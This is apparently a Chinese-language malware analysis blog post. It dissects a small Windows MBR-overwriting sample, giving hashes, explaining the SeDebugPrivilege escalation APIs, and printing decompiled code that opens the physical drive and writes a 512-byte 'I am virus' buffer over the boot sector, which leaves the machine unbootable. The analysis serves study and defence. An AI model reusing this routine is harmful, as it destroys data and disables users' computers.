文件名称
c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d
文件类型(Magic)
PE32 executable (console) Intel 80386, for MS Windows
文件大小
36.00KB
SHA256
c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d
SHA1
d164561158ae4bb75512a34f06521a7203ba64a9
MD5
955b66c722ca993dd11fbe56bbf92525
CRC32
31E79506
SSDEEP
384:ePjkT1e0/tmFfC92xAgl1PjfvjKrC9hW6yilkKzJWt:ojkY0/EF6CXPjfx46Dl/JWt
ImpHash
9a06fce838eff426c6ee75ab22366372
操作系统 |
调试工具 |
Win7x86 |
IDA |
因为这个病毒很简单,所以没有行为分析,直接看源代码就好了,把样本拖入到PEID中,无壳,VC6++写的:
直接拖到IDA,进入main函数:
可以看到只有俩个函数,先看第一个,参数SeDebugPrivilege是Windows字符权限名称,大概已经知道第一个函数是干嘛的了,进入sub_401000中:
很明显一个提权代码,通过GetCurrentProcess获取当前句柄,然后获取进程访问令牌的句柄,函数原型如下:
BOOL OpenProcessToken(
HANDLE ProcessHandle, //要修改访问权限的进程句柄
DWORD DesiredAccess, //指定你要进行的操作类型
PHANDLE TokenHandle //返回的访问令牌指针
);
然后获取权限对应的LUID值,这就要用到另外一个API函数LookupPrivilegevalue,其原形如下:
BOOL LookupPrivilegevalue(
LPCTSTR lpSystemName, // system name
LPCTSTR lpName, // privilege name
PLUID lpLuid // locally unique identifier
);
第一个参数是系统的名称,如果是本地系统只要指明为NULL就可以了,第三个参数就是返回LUID的指针,第二个参数就是指明了权限的名称,如“SeDebugPrivilege”。
接下来就是通过AdjustTokenPrivileges修改权限了:
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, // handle to token
BOOL DisableAllPrivileges, // disabling option
PTOKEN_PRIVILEGES NewState, // privilege information
DWORD BufferLength, // size of buffer
PTOKEN_PRIVILEGES PreviousState, // original state buffer
PDWORD ReturnLength // required buffer size
);
第一个参数是访问令牌的句柄;第二个参数决定是进行权限修改还是除能(Disable)所有权限;第三个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作; 第四个参数是结构PreviousState的长度,如果PreviousState为空,该参数应为NULL;第五个参数也是一个指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息,可空;最后一个参数为实际PreviousState结构返回的大小。
完事返回上层,我们看下一个函数sub_401090:
这里首先是一个内存清空操作,然后对Buffer进行了填充拷贝,我们去看qmemcpy第二个参数:
可以看到一串字符串,L am virus!,** you,接下来看其他函数:
HANDLE __cdecl sub_401090()
{
HANDLE result; // eax@1
HANDLE v1; // esi@1
DWORD BytesReturned; // [sp+8h] [bp-208h]@2
DWORD NumberOfBytesWritten; // [sp+Ch] [bp-204h]@2
char Buffer; // [sp+10h] [bp-200h]@1
char v5; // [sp+11h] [bp-1FFh]@1
__int16 v6; // [sp+20Dh] [bp-3h]@1
char v7; // [sp+20Fh] [bp-1h]@1
memset(&v5, 0, 0x1FCu);
v6 = 0;
qmemcpy(&Buffer, &byte_406030, 0x30u);
HIBYTE(v6) = 85;
v7 = -86;
result = CreateFileA(FileName, 0xC0000000, 3u, 0, 3u, 0, 0);
v1 = result;
if ( result != (HANDLE)-1 )
{
DeviceIoControl(result, 0x90018u, 0, 0, 0, 0, &BytesReturned, 0);
WriteFile(v1, &Buffer, 0x200u, &NumberOfBytesWritten, 0);
DeviceIoControl(v1, 0x9001Cu, 0, 0, 0, 0, &BytesReturned, 0);
CloseHandle(v1);
ExitProcess(0xFFFFFFFF);
}
return result;
}
接下来是一个CreateFileA获取句柄,看看FileName:
这是MBR所在的磁盘驱动器,这里很明显要对MBR进行操作。然后就是通过DeviceIoControl 将控制代码直接发送到指定的设备驱动程序,使相应的设备执行相应的操作。然后哦就是写入操作,把Buffer中的内容写进去,没了。
就俩函数,一个提权,一个写入,我们运行一下试试(当然,这里提权没有成功,):
啥反应没有,然后我们重启计算机就会发现无法正常开机。